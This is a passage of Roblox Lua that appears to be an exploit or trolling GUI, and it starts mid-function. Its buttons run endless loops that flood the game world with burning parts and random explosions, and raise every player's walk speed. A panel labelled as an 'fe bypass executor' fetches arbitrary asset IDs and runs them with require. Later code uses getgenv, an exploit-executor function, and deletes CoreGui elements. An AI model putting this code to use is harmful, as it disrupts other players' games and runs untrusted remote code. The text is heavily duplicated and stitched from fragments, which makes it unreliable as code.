wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
end;
task.spawn(C_32);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_34()
local script = G2L["34"];
script.Parent.MouseButton1Click:Connect(function()
local Lighting = game:GetService("Lighting")
local ColorCorrection = Instance.new("ColorCorrectionEffect", Lighting)
function zigzag(X)
return math.acos(math.cos(X*math.pi))/math.pi
end
Counter = 0
Lighting.TimeOfDay = "15:00"
while wait(0.01) do
ColorCorrection.TintColor = Color3.fromHSV(zigzag(Counter),1,1)
Lighting.Ambient = Color3.fromHSV(zigzag(Counter),1,1)
Counter += 0.01
end
end)
end;
task.spawn(C_34);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_36()
local script = G2L["36"];
script.Parent.MouseButton1Click:Connect(function()
script.Parent.RemoteEvent:FireServer()
end)
end;
task.spawn(C_36);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_3a()
local script = G2L["3a"];
script.Parent.MouseButton1Down:Connect(function()
while true do
explosion = Instance.new("Explosion")
explosion.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
explosion.Parent = game.Workspace
wait()
end
end)
end;
task.spawn(C_3a);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_3c()
local script = G2L["3c"];
script.Parent.MouseButton1Down:Connect(function()
for i,p in pairs(game:GetService("Players"):GetChildren()) do
if p.ClassName == "Player" then
p.Character:FindFirstChildOfClass("Humanoid").WalkSpeed += 25
end
end
end)
end;
task.spawn(C_3c);
-- StarterGui.ScreenGui.Frame.LocalScript
local function C_3d()
local script = G2L["3d"];
-- Made by Real_IceyDev (@lceyDex) --
-- Simple UI dragger (PC Only/Any device that has a mouse) --
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end;
task.spawn(C_3d);
return G2L["1"], require;
end)
end;
task.spawn(C_14);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
local function C_16()
local script = G2L["16"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
-- Create main GUI
local gui = Instance.new("ScreenGui")
gui.Name = "ExecutorGUI"
gui.ResetOnSpawn = false
gui.Parent = playerGui
-- Toggle Button
local toggleButton = Instance.new("TextButton")
toggleButton.Size = UDim2.new(0, 100, 0, 30)
toggleButton.Position = UDim2.new(0, 10, 0, 10)
toggleButton.Text = ""
toggleButton.Font = Enum.Font.SourceSansBold
toggleButton.TextSize = 24
toggleButton.BackgroundColor3 = Color3.fromRGB(85, 85, 85)
toggleButton.TextColor3 = Color3.new(1, 1, 1)
toggleButton.Parent = gui
-- Main Frame
local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 250, 0, 180)
frame.Position = UDim2.new(0.5, -125, 0.5, -90)
frame.BackgroundColor3 = Color3.fromRGB(85, 85, 85)
frame.BorderSizePixel = 0
frame.Active = true
frame.Draggable = true
frame.Visible = true
frame.Parent = gui
-- Toggle functionality
toggleButton.MouseButton1Click:Connect(function()
frame.Visible = not frame.Visible
end)
-- Title Label
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 30)
title.Position = UDim2.new(0, 0, 0, 0)
title.BackgroundTransparency = 1
title.Text = "serverside or fe bypass executor"
title.Font = Enum.Font.SourceSansBold
title.TextSize = 24
title.TextColor3 = Color3.new(1, 1, 1)
title.Parent = frame
-- Input Box
local inputBox = Instance.new("TextBox")
inputBox.Size = UDim2.new(1, -20, 0, 35)
inputBox.Position = UDim2.new(0, 10, 0, 40)
inputBox.PlaceholderText = "enter require"
inputBox.Text = ""
inputBox.ClearTextOnFocus = false
inputBox.TextColor3 = Color3.new(0, 0, 0)
inputBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
inputBox.TextWrapped = true
inputBox.Font = Enum.Font.SourceSansBold
inputBox.TextSize = 18
inputBox.TextXAlignment = Enum.TextXAlignment.Center
inputBox.TextYAlignment = Enum.TextYAlignment.Center
inputBox.Parent = frame
-- Execute Button
local executeButton = Instance.new("TextButton")
executeButton.Size = UDim2.new(1, -20, 0, 35)
executeButton.Position = UDim2.new(0, 10, 0, 85)
executeButton.Text = "execute require"
executeButton.Font = Enum.Font.SourceSansBold
executeButton.TextSize = 24
executeButton.BackgroundColor3 = Color3.fromRGB(0, 0, 255)
executeButton.TextColor3 = Color3.new(1, 1, 1)
executeButton.Parent = frame
-- Clear Button
local clearButton = Instance.new("TextButton")
clearButton.Size = UDim2.new(1, -20, 0, 35)
clearButton.Position = UDim2.new(0, 10, 0, 130)
clearButton.Text = "clear"
clearButton.Font = Enum.Font.SourceSansBold
clearButton.TextSize = 24
clearButton.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
clearButton.TextColor3 = Color3.new(1, 1, 1)
clearButton.Parent = frame
-- Clear function
clearButton.MouseButton1Click:Connect(function()
inputBox.Text = ""
end)
-- Fake "execute" function (doesn't do anything functional on FE)
executeButton.MouseButton1Click:Connect(function()
local scriptText = inputBox.Text
local assetId = scriptText:match("require%s*%(?%s*(%d+)%s*%)?")
if assetId then
local success, result = pcall(function()
local objects = game:GetObjects("rbxassetid://" .. assetId)
local obj = objects[1]
if obj then
obj.Parent = playerGui
if obj:IsA("ModuleScript") then
local modSuccess, modResult = pcall(function()
return require(obj)
end)
if not modSuccess then
warn("Error requiring module:", modResult)
end
end
end
end)
if not success then
warn("Error loading asset:", result)
end
else
warn("Invalid require() syntax.")
end
end)
local StigmanFroud = Instance.new("ScreenGui")
local trajectory = Instance.new("ImageLabel")
local R = Instance.new("ImageLabel")
local Earth = Instance.new("ImageLabel")
local Green = Instance.new("ImageLabel")
StigmanFroud.Name = "Stigman Froud"
StigmanFroud.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
StigmanFroud.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
StigmanFroud.DisplayOrder = 999
StigmanFroud.ResetOnSpawn = false
trajectory.Name = "trajectory"
trajectory.Parent = StigmanFroud
trajectory.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
trajectory.BackgroundTransparency = 1.000
trajectory.Position = UDim2.new(0.45430705, 0, 0.430432826, 0)
trajectory.Size = UDim2.new(0, 110, 0, 110)
trajectory.Image = "http://www.roblox.com/asset/?id=0"
trajectory.SliceScale = 3.000
R.Name = "R"
R.Parent = StigmanFroud
R.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
R.BackgroundTransparency = 1.000
R.Position = UDim2.new(0.45430705, 0, 0.430432826, 0)
R.Size = UDim2.new(0, 110, 0, 110)
R.ZIndex = 3
R.Image = "http://www.roblox.com/asset/?id=112451194481281"
R.SliceScale = 3.000
Earth.Name = "Earth"
Earth.Parent = R
Earth.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Earth.BackgroundTransparency = 1.000
Earth.BorderColor3 = Color3.fromRGB(0, 0, 0)
Earth.BorderSizePixel = 0
Earth.Position = UDim2.new(0.404999346, 0, 0.406818181, 0)
Earth.Size = UDim2.new(0, 20, 0, 20)
Earth.ZIndex = 4
Earth.Image = "rbxassetid://0"
Green.Name = "Green"
Green.Parent = StigmanFroud
Green.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Green.BackgroundTransparency = 1.000
Green.BorderColor3 = Color3.fromRGB(0, 0, 0)
Green.BorderSizePixel = 0
Green.Position = UDim2.new(0.00499999989, 0, 0.824999988, 0)
Green.Size = UDim2.new(0, 110, 0, 110)
Green.ZIndex = 6
Green.Image = "rbxassetid://112451194481281"
Green.ImageTransparency = 1.000
local function AARC_fake_script() -- trajectory.Info
local script = Instance.new('LocalScript', trajectory)
local img = script.Parent
local sonic = script.Parent
img:TweenPosition(UDim2.new(0.451, 0,0.395, 0), "Out", "Linear", 0.4, false)
wait(3)
img:TweenPosition(UDim2.new(0.005, 0,0.619, 0), "Out", "Sine", 0.7, false)
while true do
wait(0.01)
sonic.Rotation = sonic.Rotation +0.3
end
end
coroutine.wrap(AARC_fake_script)()
local function LQERQ_fake_script() -- Earth.LocalScript
local script = Instance.new('LocalScript', Earth)
local Angle = 0;
local AngleIncrement = 0.02;
local OriginPos = script.Parent.Position;
local Distance = 55;
while wait() do
Angle = Angle + AngleIncrement;
local dirX = math.cos(Angle) -- X
local dirY = math.sin(Angle) -- Y
script.Parent.Position = OriginPos + UDim2.new(0, dirX * Distance, 0, dirY * Distance);
end
end
coroutine.wrap(LQERQ_fake_script)()
local function XBQODE_fake_script() -- R.Info
local script = Instance.new('LocalScript', R)
local img = script.Parent
img:TweenPosition(UDim2.new(0.451, 0,0.395, 0), "Out", "Linear", 0.4, false)
wait(3)
img:TweenPosition(UDim2.new(0.005, 0,0.619, 0), "Out", "Sine", 0.7, false)
end
coroutine.wrap(XBQODE_fake_script)()
local function NSHDR_fake_script() -- Green.LocalScript
local script = Instance.new('LocalScript', Green)
local Tween = game:GetService("TweenService")
local Greenfn = script.Parent
wait(2)
while true do
local TranspncyTween = Tween:Create(Greenfn, TweenInfo.new(0.5), {ImageTransparency = 0})
TranspncyTween:Play()
wait(0.3)
local TranspncyTween = Tween:Create(Greenfn, TweenInfo.new(0.5), {ImageTransparency = 1})
TranspncyTween:Play()
wait(0.3)
local TranspncyTween = Tween:Create(Greenfn, TweenInfo.new(0.5), {ImageTransparency = 0})
TranspncyTween:Play()
wait(0.3)
local TranspncyTween = Tween:Create(Greenfn, TweenInfo.new(0.5), {ImageTransparency = 1})
TranspncyTween:Play()
wait(4)
end
end
coroutine.wrap(NSHDR_fake_script)()
local function UDIRPT_fake_script() -- Green.Info
local script = Instance.new('LocalScript', Green)
local img = script.Parent
local GetName = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
img:TweenPosition(UDim2.new(0.451, 0,0.395, 0), "Out", "Linear", 0.4, false)
wait(3)
img:TweenPosition(UDim2.new(0.005, 0,0.619, 0), "Out", "Sine", 0.7, false)
end
coroutine.wrap(UDIRPT_fake_script)()
local function WGFAMY_fake_script() -- StigmanFroud.LocalScript
local script = Instance.new('LocalScript', StigmanFroud)
local GetName = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
print("Loaded At",GetName.Name)
wait(0.1)
print("Welcome,",game.Players.LocalPlayer.Name)
end
coroutine.wrap(WGFAMY_fake_script)()
end)
end;
task.spawn(C_16);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
local function C_18()
local script = G2L["18"];
script.Parent.MouseButton1Click:Connect(function()
--- Keybind to open for pc is "comma" -> " , "
-- Made by Gi#7331
local env=getgenv()
if env.LastExecuted and tick()-env.LastExecuted<30 then return end
env.LastExecuted=tick()
-- your script goes here
print("Script executed!")
game:GetService("StarterGui"):SetCore("SendNotification",{
Title = "Wait!",
Text = "Please Wait, it just loading the button",
Duration = 15})
if game:GetService("CoreGui"):FindFirstChild("Emotes") then
game:GetService("CoreGui"):FindFirstChild("Emotes"):Destroy()
end
wait(1)
local ContextActionService = game:GetService("ContextActionService")
local HttpService = game:GetService("HttpService")
local GuiService = game:GetService("GuiService")
local CoreGui = game:GetService("CoreGui")
local Open = Instance.new("TextButton")
UICorner = Instance.new("UICorner")
local MarketplaceService = game:GetService("MarketplaceService")
local Players = game:GetService("Players")
local StarterGui = game:GetService("StarterGui")
local UserInputService = game:GetService("UserInputService")
local LoadedEmotes, Emotes = {}, {}
local function AddEmote(name: string, id: number, price: number?)
LoadedEmotes[id] = false
task.spawn(function()
if not (name and id) then return end
local success, date = pcall(function()
local info = MarketplaceService:GetProductInfo(id)
local updated = info.Updated
return DateTime.fromIsoDate(updated):ToUniversalTime()
end)
if not success or not date then
task.wait(10)
AddEmote(name, id, price)
return
end
local unix = os.time({
year = date.Year,
month = date.Month,
day = date.Day,
hour = date.Hour,
min = date.Minute,
sec = date.Second
})
LoadedEmotes[id] = true
local emoteData = {
name = name,
id = id,
icon = "rbxthumb://type=Asset&id=".. id .."&w=150&h=150",
price = price or 0,
lastupdated = unix,
sort = {}
}
table.insert(Emotes, emoteData)
end)
end
local function CreateButtonFromEmoteInfo(emote)
local button = Instance.new("TextButton")
button.Name = tostring(emote.id)
button.Text = emote.name .. " - $" .. emote.price
button.Size = UDim2.new(0, 200, 0, 50)
button.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
button.TextColor3 = Color3.new(1, 1, 1)
button.MouseButton1Click:Connect(function()
print("Selected Emote: " .. emote.name .. ", ID: " .. emote.id)
end)
return button
end
local CurrentSort = "recentfirst"
local FavoriteOff = "rbxassetid://10651060677"
local FavoriteOn = "rbxassetid://10651061109"
local FavoritedEmotes = {}
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "Emotes"
ScreenGui.DisplayOrder = 2
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
ScreenGui.Enabled = true
local BackFrame = Instance.new("Frame")
BackFrame.Size = UDim2.new(0.9, 0, 0.5, 0)
BackFrame.AnchorPoint = Vector2.new(0.5, 0.5)
BackFrame.Position = UDim2.new(0.5, 0, 0.5, 0)
BackFrame.SizeConstraint = Enum.SizeConstraint.RelativeYY
BackFrame.BackgroundTransparency = 1
BackFrame.BorderSizePixel = 0
BackFrame.Parent = ScreenGui
Open.Name = "Open"
Open.Parent = ScreenGui
Open.Draggable = true
Open.Size = UDim2.new(0.05,0,0.114,0)
Open.Position = UDim2.new(0.05, 0, 0.25, 0)
Open.Text = "Close"
Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Open.TextColor3 = Color3.fromRGB(255, 255, 255)
Open.TextScaled = true
Open.TextSize = 20
Open.Visible = true
Open.BackgroundTransparency = .5
Open.MouseButton1Up:Connect(function()
if Open.Text == "Open" then
Open.Text = "Close"
BackFrame.Visible = true
else
if Open.Text == "Close" then
Open.Text = "Open"
BackFrame.Visible = false
end
end
end)
UICorner.Name = "UICorner"
UICorner.Parent = Open
UICorner.CornerRadius = UDim.new(1, 0)
local EmoteName = Instance.new("TextLabel")
EmoteName.Name = "EmoteName"
EmoteName.TextScaled = true
EmoteName.AnchorPoint = Vector2.new(0.5, 0.5)
EmoteName.Position = UDim2.new(-0.1, 0, 0.5, 0)
EmoteName.Size = UDim2.new(0.2, 0, 0.2, 0)
EmoteName.SizeConstraint = Enum.SizeConstraint.RelativeYY
EmoteName.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
EmoteName.TextColor3 = Color3.new(1, 1, 1)
EmoteName.BorderSizePixel = 0
EmoteName.Parent = BackFrame
